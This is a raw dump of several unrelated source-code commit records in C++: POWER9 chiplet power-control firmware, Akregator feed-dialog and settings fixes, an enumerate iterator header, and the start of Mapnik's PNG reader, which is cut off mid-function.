<p9_common_poweronoff.H>\n#include <p9_common_poweronoff.C>\n#include <p9_pm_pfet_control.H>\n\n\/\/------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Global variables\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Function definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief Enable power on\/off for core and cache chiplets\n\/\/\/\n\/\/\/ @param [in] i_target Target type Core\/EQ\/Ex chiplet\n\/\/\/ @param [in] i_rail Valid rail options:BOTH\/VDD\/VCS\n\/\/\/ @param [in] i_op Valid options:OFF\/ON\n\/\/\/\n\/\/\/ @return FAPI2_RC_SUCCESS on success, error otherwise.\n\/\/\/\ntemplate <fapi2::TargetType K >\nstatic fapi2::ReturnCode pfet_ctrl(\n const fapi2::Target< K >& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op);\n\n\n\/\/ Procedure pfet control-EQ entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_eq(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n bool core_target_found = false;\n\n FAPI_INF(\"p9_pm_pfet_control_eq: Entering...\");\n\n \/\/ Print chiplet position\n FAPI_INF(\"pfet control for EQ chiplet %d\", i_target.getChipletNumber());\n\n \/\/ When i_op == OFF all functional cores first followed by EQ\n \/\/ When i_op == ON EQ first followed by all functional cores\n if(i_op == PM_PFET_TYPE_C::ON)\n {\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_EQ>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for eq!!\");\n }\n\n \/\/ Check for all core chiplets in EQ and power on\/off targets accordingly\n for (auto& l_core_target : i_target.getChildren<fapi2::TARGET_TYPE_CORE>\n (fapi2::TARGET_STATE_FUNCTIONAL))\n {\n FAPI_INF(\"Core chiplet %d in EQ\", l_core_target.getChipletNumber());\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(l_core_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n core_target_found = true;\n }\n\n \/\/ Power on\/off EQ target\n if( (i_op == PM_PFET_TYPE_C::OFF) && (core_target_found) )\n {\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_EQ>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for eq!!\");\n }\n else if( ((i_op == PM_PFET_TYPE_C::ON) && !(core_target_found)) ||\n ((i_op == PM_PFET_TYPE_C::OFF) && !(core_target_found)) )\n {\n FAPI_INF(\"EQ chiplet no. %d; No core target found in functional state in this EQ\\n\", i_target.getChipletNumber());\n }\n\n FAPI_INF(\"p9_pm_pfet_control_eq: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_eq\n\n\n\/\/ Procedure pfet control-EX entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_ex(\n const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n bool core_target_found = false;\n\n FAPI_INF(\"p9_pm_pfet_control_ex: Entering...\");\n\n \/\/ Get chiplet position\n FAPI_INF(\"pfet control for EX chiplet %d\", i_target.getChipletNumber());\n\n \/\/ Check for all core chiplets in EX and power on\/off targets accordingly\n for (auto& l_core_target : i_target.getChildren<fapi2::TARGET_TYPE_CORE>\n (fapi2::TARGET_STATE_FUNCTIONAL))\n {\n FAPI_INF(\"Core chiplet %d in EX\", l_core_target.getChipletNumber());\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(l_core_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n core_target_found = true;\n }\n\n \/\/ When no functional chiplet target found\n if(!core_target_found)\n {\n FAPI_INF(\"EX chiplet no. %d; No core target found in functional state\"\n \" in this EX\", i_target.getChipletNumber());\n }\n\n FAPI_INF(\"p9_pm_pfet_control_ex: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_ex\n\n\n\/\/ Procedure pfet control-Core entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_ec(\n const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n\n FAPI_INF(\"p9_pm_pfet_control_core: Entering...\");\n\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n\n FAPI_INF(\"p9_pm_pfet_control_core: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_ec\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ pfet_ctrl:\n\/\/ Function to power on\/off core and cache chiplets\n\/\/------------------------------------------------------------------------------\ntemplate <fapi2::TargetType K >\nfapi2::ReturnCode pfet_ctrl(\n const fapi2::Target< K >& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n\n FAPI_INF(\"pfet_ctrl: Entering...\");\n\n \/\/ Check for target passed\n if(i_target.getType() & fapi2::TARGET_TYPE_CORE)\n {\n FAPI_INF(\"pfet control for Core chiplet %d\",\n i_target.getChipletNumber());\n }\n else if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_INF(\"pfet control for EQ chiplet %d\", i_target.getChipletNumber());\n }\n else\n {\n \/\/ Invalid chiplet selected\n FAPI_ASSERT(false,\n fapi2::PFET_CTRL_INVALID_CHIPLET_ERROR()\n .set_TARGET(i_target),\n \"ERROR: Invalid chiplet selected\");\n }\n\n switch(i_op)\n {\n case PM_PFET_TYPE_C::OFF:\n switch(i_rail)\n {\n case PM_PFET_TYPE_C::BOTH:\n if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF));\n }\n else\n {\n FAPI_IMP(\"WARNING:Only VDD (not BOTH\/VCS) is controlled for target Core & EX\");\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF_VDD));\n }\n\n break;\n\n case PM_PFET_TYPE_C::VDD:\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF_VDD));\n break;\n\n case PM_PFET_TYPE_C::VCS:\n FAPI_IMP(\"WARNING:Only VDD or both VDD\/VCS controlled for target Core\/EX & Cache respectively\");\n break;\n }\n\n break;\n\n case PM_PFET_TYPE_C::ON:\n switch(i_rail)\n {\n case PM_PFET_TYPE_C::BOTH:\n if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON));\n }\n else\n {\n FAPI_IMP(\"WARNING:Only VDD (not BOTH\/VCS) is controlled for target Core & EX\");\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON_VDD));\n }\n\n break;\n\n case PM_PFET_TYPE_C::VDD:\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON_VDD));\n break;\n\n case PM_PFET_TYPE_C::VCS:\n FAPI_IMP(\"WARNING:Only VDD or both VDD\/VCS controlled for target Core\/EX & Cache respectively\");\n break;\n }\n\n break;\n }\n\nfapi_try_exit:\n return fapi2::current_err;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of Akregator.\n\n Copyright (C) 2008 Frank Osterfeld <osterfeld@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"createfeedcommand.h\"\n\n#include \"addfeeddialog.h\"\n#include \"feed.h\"\n#include \"feedpropertiesdialog.h\"\n#include \"folder.h\"\n#include \"subscriptionlistview.h\"\n\n#include <KInputDialog>\n#include <KLocalizedString>\n#include <KUrl>\n\n#include <QPointer>\n#include <QTimer>\n\n#include <cassert>\n\nusing namespace Akregator;\n\nclass CreateFeedCommand::Private\n{\n CreateFeedCommand* const q;\npublic:\n explicit Private( CreateFeedCommand* qq );\n\n void doCreate();\n\n QPointer<Folder> m_rootFolder;\n QPointer<SubscriptionListView> m_subscriptionListView;\n QString m_url;\n QPointer<Folder> m_parentFolder;\n QPointer<TreeNode> m_after;\n bool m_autoexec;\n};\n\nCreateFeedCommand::Private::Private( CreateFeedCommand* qq )\n : q( qq ),\n m_rootFolder( 0 ),\n m_subscriptionListView( 0 ),\n m_parentFolder( 0 ),\n m_after( 0 ),\n m_autoexec( false )\n{\n\n}\n\nvoid CreateFeedCommand::Private::doCreate()\n{\n assert( m_rootFolder );\n assert( m_subscriptionListView );\n\n QPointer<AddFeedDialog> afd = new AddFeedDialog( q->parentWidget(), \"add_feed\" );\n\n afd->setUrl( KUrl::fromPercentEncoding( m_url.toLatin1() ) );\n\n QPointer<QObject> thisPointer( q );\n\n if ( m_autoexec )\n afd->accept();\n else\n afd->exec();\n\n if ( !thisPointer ) \/\/ \"this\" might have been deleted while exec()!\n return;\n\n Feed* const feed = afd->feed();\n delete afd;\n\n if ( !feed )\n {\n q->done();\n return;\n }\n\n QPointer<FeedPropertiesDialog> dlg = new FeedPropertiesDialog( q->parentWidget(), \"edit_feed\" );\n dlg->setFeed( feed );\n dlg->selectFeedName();\n\n if ( !m_autoexec && ( dlg->exec() != QDialog::Accepted || !thisPointer ) )\n {\n delete feed;\n }\n else\n {\n m_parentFolder = m_parentFolder ? m_parentFolder : m_rootFolder;\n m_parentFolder->insertChild( feed, m_after );\n m_subscriptionListView->ensureNodeVisible( feed );\n }\n\n delete dlg;\n q->done();\n}\n\nCreateFeedCommand::CreateFeedCommand( QObject* parent ) : Command( parent ), d( new Private( this ) )\n{\n\n}\n\nCreateFeedCommand::~CreateFeedCommand()\n{\n delete d;\n}\n\nvoid CreateFeedCommand::setSubscriptionListView( SubscriptionListView* view )\n{\n d->m_subscriptionListView = view;\n}\n\nvoid CreateFeedCommand::setRootFolder( Folder* rootFolder )\n{\n d->m_rootFolder = rootFolder;\n}\n\nvoid CreateFeedCommand::setUrl( const QString& url )\n{\n d->m_url = url;\n}\n\nvoid CreateFeedCommand::setPosition( Folder* parent, TreeNode* after )\n{\n d->m_parentFolder = parent;\n d->m_after = after;\n}\n\nvoid CreateFeedCommand::setAutoExecute( bool autoexec )\n{\n d->m_autoexec = autoexec;\n}\n\nvoid CreateFeedCommand::doStart()\n{\n QTimer::singleShot( 0, this, SLOT( doCreate() ) );\n}\n\nvoid CreateFeedCommand::doAbort()\n{\n\n}\n\n#include \"createfeedcommand.moc\"\n<commit_msg>Paste clipboard contents in add feed dlg if it is a valid URL Patch by Jordi De Groof, jordi.degroof at gmail.com BUG:111214<commit_after>\/*\n This file is part of Akregator.\n\n Copyright (C) 2008 Frank Osterfeld <osterfeld@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"createfeedcommand.h\"\n\n#include \"addfeeddialog.h\"\n#include \"feed.h\"\n#include \"feedpropertiesdialog.h\"\n#include \"folder.h\"\n#include \"subscriptionlistview.h\"\n\n#include <KInputDialog>\n#include <KLocalizedString>\n#include <KUrl>\n\n#include <QPointer>\n#include <QTimer>\n#include <QClipboard>\n\n#include <cassert>\n\nusing namespace Akregator;\n\nclass CreateFeedCommand::Private\n{\n CreateFeedCommand* const q;\npublic:\n explicit Private( CreateFeedCommand* qq );\n\n void doCreate();\n\n QPointer<Folder> m_rootFolder;\n QPointer<SubscriptionListView> m_subscriptionListView;\n QString m_url;\n QPointer<Folder> m_parentFolder;\n QPointer<TreeNode> m_after;\n bool m_autoexec;\n};\n\nCreateFeedCommand::Private::Private( CreateFeedCommand* qq )\n : q( qq ),\n m_rootFolder( 0 ),\n m_subscriptionListView( 0 ),\n m_parentFolder( 0 ),\n m_after( 0 ),\n m_autoexec( false )\n{\n\n}\n\nvoid CreateFeedCommand::Private::doCreate()\n{\n assert( m_rootFolder );\n assert( m_subscriptionListView );\n\n QPointer<AddFeedDialog> afd = new AddFeedDialog( q->parentWidget(), \"add_feed\" );\n\n QString url = m_url;\n\n if( url.isEmpty() )\n {\n const QClipboard* const clipboard = QApplication::clipboard();\n assert( clipboard );\n const QString clipboardText = clipboard->text();\n \/\/ Check for the hostname, since the isValid method is not strict enough\n if( !KUrl( clipboardText ).isEmpty() )\n url = clipboardText;\n }\n\n afd->setUrl( KUrl::fromPercentEncoding( url.toLatin1() ) );\n\n QPointer<QObject> thisPointer( q );\n\n if ( m_autoexec )\n afd->accept();\n else\n afd->exec();\n\n if ( !thisPointer ) \/\/ \"this\" might have been deleted while exec()!\n return;\n\n Feed* const feed = afd->feed();\n delete afd;\n\n if ( !feed )\n {\n q->done();\n return;\n }\n\n QPointer<FeedPropertiesDialog> dlg = new FeedPropertiesDialog( q->parentWidget(), \"edit_feed\" );\n dlg->setFeed( feed );\n dlg->selectFeedName();\n\n if ( !m_autoexec && ( dlg->exec() != QDialog::Accepted || !thisPointer ) )\n {\n delete feed;\n }\n else\n {\n m_parentFolder = m_parentFolder ? m_parentFolder : m_rootFolder;\n m_parentFolder->insertChild( feed, m_after );\n m_subscriptionListView->ensureNodeVisible( feed );\n }\n\n delete dlg;\n q->done();\n}\n\nCreateFeedCommand::CreateFeedCommand( QObject* parent ) : Command( parent ), d( new Private( this ) )\n{\n\n}\n\nCreateFeedCommand::~CreateFeedCommand()\n{\n delete d;\n}\n\nvoid CreateFeedCommand::setSubscriptionListView( SubscriptionListView* view )\n{\n d->m_subscriptionListView = view;\n}\n\nvoid CreateFeedCommand::setRootFolder( Folder* rootFolder )\n{\n d->m_rootFolder = rootFolder;\n}\n\nvoid CreateFeedCommand::setUrl( const QString& url )\n{\n d->m_url = url;\n}\n\nvoid CreateFeedCommand::setPosition( Folder* parent, TreeNode* after )\n{\n d->m_parentFolder = parent;\n d->m_after = after;\n}\n\nvoid CreateFeedCommand::setAutoExecute( bool autoexec )\n{\n d->m_autoexec = autoexec;\n}\n\nvoid CreateFeedCommand::doStart()\n{\n QTimer::singleShot( 0, this, SLOT( doCreate() ) );\n}\n\nvoid CreateFeedCommand::doAbort()\n{\n\n}\n\n#include \"createfeedcommand.moc\"\n<|endoftext|>"} {"text":"<commit_before>#include \"akregatorconfig.h\"\n#include \"settings_advanced.h\"\n#include \"storagefactory.h\"\n#include \"storagefactoryregistry.h\"\n\n#include <QPushButton>\n#include <QStringList>\n#include <QWidget>\n\n#include <kcombobox.h>\n\nnamespace Akregator {\n\nSettingsAdvanced::SettingsAdvanced(QWidget* parent, const char* name) : QWidget(parent)\n{\n setObjectName(name);\n setupUi(this);\n \n QStringList backends = Backend::StorageFactoryRegistry::self()->list();\n QString tname;\n int i = 0;\n QStringList::Iterator end( backends.end() );\n for (QStringList::Iterator it = backends.begin(); it != end; ++it)\n {\n m_factories[i] = Backend::StorageFactoryRegistry::self()->getFactory(*it);\n m_keyPos[m_factories[i]->key()] = i;\n cbBackend->addItem(m_factories[i]->name());\n i++;\n }\n connect(pbBackendConfigure, SIGNAL(clicked()), this, SLOT(slotConfigureStorage()));\n connect(cbBackend, SIGNAL(activated(int)), this, SLOT(slotFactorySelected(int)));\n}\n\nQString SettingsAdvanced::selectedFactory() const\n{\n return m_factories[cbBackend->currentIndex()]->key();\n}\n\nvoid SettingsAdvanced::selectFactory(const QString& key)\n{\n cbBackend->setCurrentIndex(m_keyPos[key]);\n pbBackendConfigure->setEnabled((m_factories[m_keyPos[key]]->isConfigurable()));\n}\n\nvoid SettingsAdvanced::slotConfigureStorage()\n{\n m_factories[cbBackend->currentIndex()]->configure();\n}\n\nvoid SettingsAdvanced::slotFactorySelected(int pos)\n{\n pbBackendConfigure->setEnabled(m_factories[pos]->isConfigurable());\n}\n\n} \/\/namespace Akregator\n#include \"settings_advanced.moc\"\n<commit_msg>Fix crash when backend doesn't exist<commit_after>#include \"akregatorconfig.h\"\n#include \"settings_advanced.h\"\n#include \"storagefactory.h\"\n#include \"storagefactoryregistry.h\"\n\n#include <QPushButton>\n#include <QStringList>\n#include <QWidget>\n\n#include <kcombobox.h>\n\nnamespace Akregator {\n\nSettingsAdvanced::SettingsAdvanced(QWidget* parent, const char* name) : QWidget(parent)\n{\n setObjectName(name);\n setupUi(this);\n \n QStringList backends = Backend::StorageFactoryRegistry::self()->list();\n QString tname;\n int i = 0;\n QStringList::Iterator end( backends.end() );\n for (QStringList::Iterator it = backends.begin(); it != end; ++it)\n {\n m_factories[i] = Backend::StorageFactoryRegistry::self()->getFactory(*it);\n\tif(m_factories[i])\n\t{\n m_keyPos[m_factories[i]->key()] = i;\n cbBackend->addItem(m_factories[i]->name());\n\t}\n i++;\n }\n connect(pbBackendConfigure, SIGNAL(clicked()), this, SLOT(slotConfigureStorage()));\n connect(cbBackend, SIGNAL(activated(int)), this, SLOT(slotFactorySelected(int)));\n}\n\nQString SettingsAdvanced::selectedFactory() const\n{\n return m_factories[cbBackend->currentIndex()]->key();\n}\n\nvoid SettingsAdvanced::selectFactory(const QString& key)\n{\n cbBackend->setCurrentIndex(m_keyPos[key]);\n pbBackendConfigure->setEnabled((m_factories[m_keyPos[key]]->isConfigurable()));\n}\n\nvoid SettingsAdvanced::slotConfigureStorage()\n{\n m_factories[cbBackend->currentIndex()]->configure();\n}\n\nvoid SettingsAdvanced::slotFactorySelected(int pos)\n{\n pbBackendConfigure->setEnabled(m_factories[pos]->isConfigurable());\n}\n\n} \/\/namespace Akregator\n#include \"settings_advanced.moc\"\n<|endoftext|>"} {"text":"<commit_before>#ifndef ENUMERABLE__H__\n#define ENUMERABLE__H__\n\n#include \"iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <functional>\n#include <initializer_list>\n\n\n\/\/ enumerate functionality for python-style for-each enumerate loops\n\/\/ for (auto e : enumerate(vec)) {\n\/\/ std::cout << e.index\n\/\/ << \": \"\n\/\/ << e.element\n\/\/ << '\\n';\n\/\/ }\n\n\nnamespace iter {\n\n \/\/Forward declarations of Enumerable and enumerate\n template <typename Container>\n class Enumerable;\n\n template <typename T>\n Enumerable<std::initializer_list<T>> enumerate(\n std::initializer_list<T> &&);\n\n template <typename Container>\n Enumerable<Container> enumerate(Container &&);\n\n template <typename Container>\n class Enumerable {\n private:\n Container & container;\n\n \/\/ The only thing allowed to directly instantiate an Enumerable is\n \/\/ the enumerate function\n friend Enumerable enumerate<Container>(Container &&);\n template <typename T>\n friend Enumerable<std::initializer_list<T>> enumerate(\n std::initializer_list<T> &&);\n\n using IterDef = IterBase<Container>;\n\n Enumerable(Container && container) : container(container) { }\n \n public:\n \/\/ Value constructor for use only in the enumerate function\n Enumerable () = delete;\n Enumerable & operator=(const Enumerable &) = delete;\n\n Enumerable(const Enumerable &) = default;\n\n \/\/ \"yielded\" by the Enumerable::Iterator. Has a .index, and a \n \/\/ .element referencing the value yielded by the subiterator\n class IterYield {\n public:\n std::size_t index;\n typename IterDef::contained_iter_ret element;\n IterYield(std::size_t i, typename IterDef::contained_iter_ret elem): \n index(i),\n element(elem)\n { }\n };\n\n \/\/ Holds an iterator of the contained type and a size_t for the\n \/\/ index. Each call to ++ increments both of these data members.\n \/\/ Each dereference returns an IterYield.\n class Iterator {\n private:\n typename IterDef::contained_iter_type sub_iter;\n std::size_t index;\n public:\n Iterator (typename IterDef::contained_iter_type si) :\n sub_iter(si),\n index(0) { } \n\n IterYield operator*() const {\n return IterYield(this->index, *this->sub_iter);\n }\n\n Iterator & operator++() { \n ++this->sub_iter;\n ++this->index;\n return *this;\n }\n\n bool operator!=(const Iterator & other) const {\n return this->sub_iter != other.sub_iter;\n }\n };\n\n Iterator begin() const {\n return Iterator(std::begin(this->container));\n }\n\n Iterator end() const {\n return Iterator(std::end(this->container));\n }\n\n };\n\n \/\/ Helper function to instantiate an Enumerable\n template <typename Container>\n Enumerable<Container> enumerate(Container && container) {\n return Enumerable<Container>(std::forward<Container>(container));\n }\n\n template <typename T>\n Enumerable<std::initializer_list<T>> enumerate(std::initializer_list<T> && il)\n {\n return Enumerable<std::initializer_list<T>>(std::move(il));\n }\n\n}\n\n#endif \/\/ifndef ENUMERABLE__H__\n<commit_msg>flattens with explicit using<commit_after>#ifndef ENUMERABLE__H__\n#define ENUMERABLE__H__\n\n#include \"iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <functional>\n#include <initializer_list>\n\n\n\/\/ enumerate functionality for python-style for-each enumerate loops\n\/\/ for (auto e : enumerate(vec)) {\n\/\/ std::cout << e.index\n\/\/ << \": \"\n\/\/ << e.element\n\/\/ << '\\n';\n\/\/ }\n\n\nnamespace iter {\n\n \/\/Forward declarations of Enumerable and enumerate\n template <typename Container>\n class Enumerable;\n\n template <typename T>\n Enumerable<std::initializer_list<T>> enumerate(\n std::initializer_list<T> &&);\n\n template <typename Container>\n Enumerable<Container> enumerate(Container &&);\n\n template <typename Container>\n class Enumerable {\n private:\n Container & container;\n\n \/\/ The only thing allowed to directly instantiate an Enumerable is\n \/\/ the enumerate function\n friend Enumerable enumerate<Container>(Container &&);\n template <typename T>\n friend Enumerable<std::initializer_list<T>> enumerate(\n std::initializer_list<T> &&);\n\n using contained_iter_ret =\n typename IterBase<Container>::contained_iter_ret;\n using contained_iter_type =\n typename IterBase<Container>::contained_iter_type;\n\n Enumerable(Container && container) : container(container) { }\n \n public:\n \/\/ Value constructor for use only in the enumerate function\n Enumerable () = delete;\n Enumerable & operator=(const Enumerable &) = delete;\n\n Enumerable(const Enumerable &) = default;\n\n \/\/ \"yielded\" by the Enumerable::Iterator. Has a .index, and a \n \/\/ .element referencing the value yielded by the subiterator\n class IterYield {\n public:\n std::size_t index;\n contained_iter_ret element;\n IterYield(std::size_t i, contained_iter_ret elem): \n index(i),\n element(elem)\n { }\n };\n\n \/\/ Holds an iterator of the contained type and a size_t for the\n \/\/ index. Each call to ++ increments both of these data members.\n \/\/ Each dereference returns an IterYield.\n class Iterator {\n private:\n contained_iter_type sub_iter;\n std::size_t index;\n public:\n Iterator (contained_iter_type si) :\n sub_iter(si),\n index(0) { } \n\n IterYield operator*() const {\n return IterYield(this->index, *this->sub_iter);\n }\n\n Iterator & operator++() { \n ++this->sub_iter;\n ++this->index;\n return *this;\n }\n\n bool operator!=(const Iterator & other) const {\n return this->sub_iter != other.sub_iter;\n }\n };\n\n Iterator begin() const {\n return Iterator(std::begin(this->container));\n }\n\n Iterator end() const {\n return Iterator(std::end(this->container));\n }\n\n };\n\n \/\/ Helper function to instantiate an Enumerable\n template <typename Container>\n Enumerable<Container> enumerate(Container && container) {\n return Enumerable<Container>(std::forward<Container>(container));\n }\n\n template <typename T>\n Enumerable<std::initializer_list<T>> enumerate(std::initializer_list<T> && il)\n {\n return Enumerable<std::initializer_list<T>>(std::move(il));\n }\n\n}\n\n#endif \/\/ifndef ENUMERABLE__H__\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\nvoid distinct_permute(\n\nint main() {\n\n\n}\n<commit_msg>combinatorics: Removed all distinct permutation generator - missing implementation.<commit_after><|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include <mapnik\/debug.hpp>\n#include <mapnik\/image_reader.hpp>\n#include <mapnik\/noncopyable.hpp>\n\nextern \"C\"\n{\n#include <png.h>\n}\n\n#include <boost\/scoped_array.hpp>\n\nnamespace mapnik\n{\nclass png_reader : public image_reader, mapnik::noncopyable\n{\nprivate:\n std::string fileName_;\n unsigned width_;\n unsigned height_;\n int bit_depth_;\n int color_type_;\npublic:\n explicit png_reader(std::string const& fileName);\n ~png_reader();\n unsigned width() const;\n unsigned height() const;\n bool premultiplied_alpha() const { return false; } \/\/http:\/\/www.libpng.org\/pub\/png\/spec\/1.1\/PNG-Rationale.html\n void read(unsigned x,unsigned y,image_data_32& image);\nprivate:\n void init();\n};\n\nnamespace\n{\nimage_reader* create_png_reader(std::string const& file)\n{\n return new png_reader(file);\n}\nconst bool registered = register_image_reader(\"png\",create_png_reader);\n}\n\npng_reader::png_reader(std::string const& fileName)\n : fileName_(fileName),\n width_(0),\n height_(0),\n bit_depth_(0),\n color_type_(0)\n{\n init();\n}\n\npng_reader::~png_reader() {}\n\nvoid user_error_fn(png_structp png_ptr, png_const_charp error_msg)\n{\n throw image_reader_exception(\"failed to read invalid png\");\n}\n\nvoid user_warning_fn(png_structp png_ptr, png_const_charp warning_msg)\n{\n MAPNIK_LOG_DEBUG(png_reader) << \"libpng warning: '\" << warning_msg << \"'\";\n}\n\nstatic void\npng_read_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n png_size_t check;\n check = (png_size_t)fread(data, (png_size_t)1, length,\n (FILE *)png_get_io_ptr(png_ptr));\n\n if (check != length)\n {\n png_error(png_ptr, \"Read Error\");\n }\n}\n\nvoid png_reader::init()\n{\n FILE *fp=fopen(fileName_.c_str(),\"rb\");\n if (!fp) throw image_reader_exception(\"cannot open image file \"+fileName_);\n png_byte header[8];\n memset(header,0,8);\n if ( fread(header,1,8,fp) != 8)\n {\n fclose(fp);\n throw image_reader_exception(\"Could not read \" + fileName_);\n }\n int is_png=!png_sig_cmp(header,0,8);\n if (!is_png)\n {\n fclose(fp);\n throw image_reader_exception(fileName_ + \" is not a png file\");\n }\n png_structp png_ptr = png_create_read_struct\n (PNG_LIBPNG_VER_STRING,0,0,0);\n\n if (!png_ptr)\n {\n fclose(fp);\n throw image_reader_exception(\"failed to allocate png_ptr\");\n }\n\n \/\/ catch errors in a custom way to avoid the need for setjmp\n png_set_error_fn(png_ptr, png_get_error_ptr(png_ptr), user_error_fn, user_warning_fn);\n\n png_infop info_ptr;\n try\n {\n info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw image_reader_exception(\"failed to create info_ptr\");\n }\n }\n catch (std::exception const& ex)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw;\n }\n\n png_set_read_fn(png_ptr, (png_voidp)fp, png_read_data);\n\n png_set_sig_bytes(png_ptr,8);\n png_read_info(png_ptr, info_ptr);\n\n png_uint_32 width, height;\n png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth_, &color_type_,0,0,0);\n\n width_=width;\n height_=height;\n\n MAPNIK_LOG_DEBUG(png_reader) << \"png_reader: bit_depth=\" << bit_depth_ << \",color_type=\" << color_type_;\n\n png_destroy_read_struct(&png_ptr,&info_ptr,0);\n fclose(fp);\n}\n\nunsigned png_reader::width() const\n{\n return width_;\n}\n\nunsigned png_reader::height() const\n{\n return height_;\n}\n\nvoid png_reader::read(unsigned x0, unsigned y0,image_data_32& image)\n{\n FILE *fp=fopen(fileName_.c_str(),\"rb\");\n if (!fp) throw image_reader_exception(\"cannot open image file \"+fileName_);\n\n png_structp png_ptr = png_create_read_struct\n (PNG_LIBPNG_VER_STRING,0,0,0);\n\n if (!png_ptr)\n {\n fclose(fp);\n throw image_reader_exception(\"failed to allocate png_ptr\");\n }\n\n \/\/ catch errors in a custom way to avoid the need for setjmp\n png_set_error_fn(png_ptr, png_get_error_ptr(png_ptr), user_error_fn, user_warning_fn);\n\n png_infop info_ptr;\n try\n {\n info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n 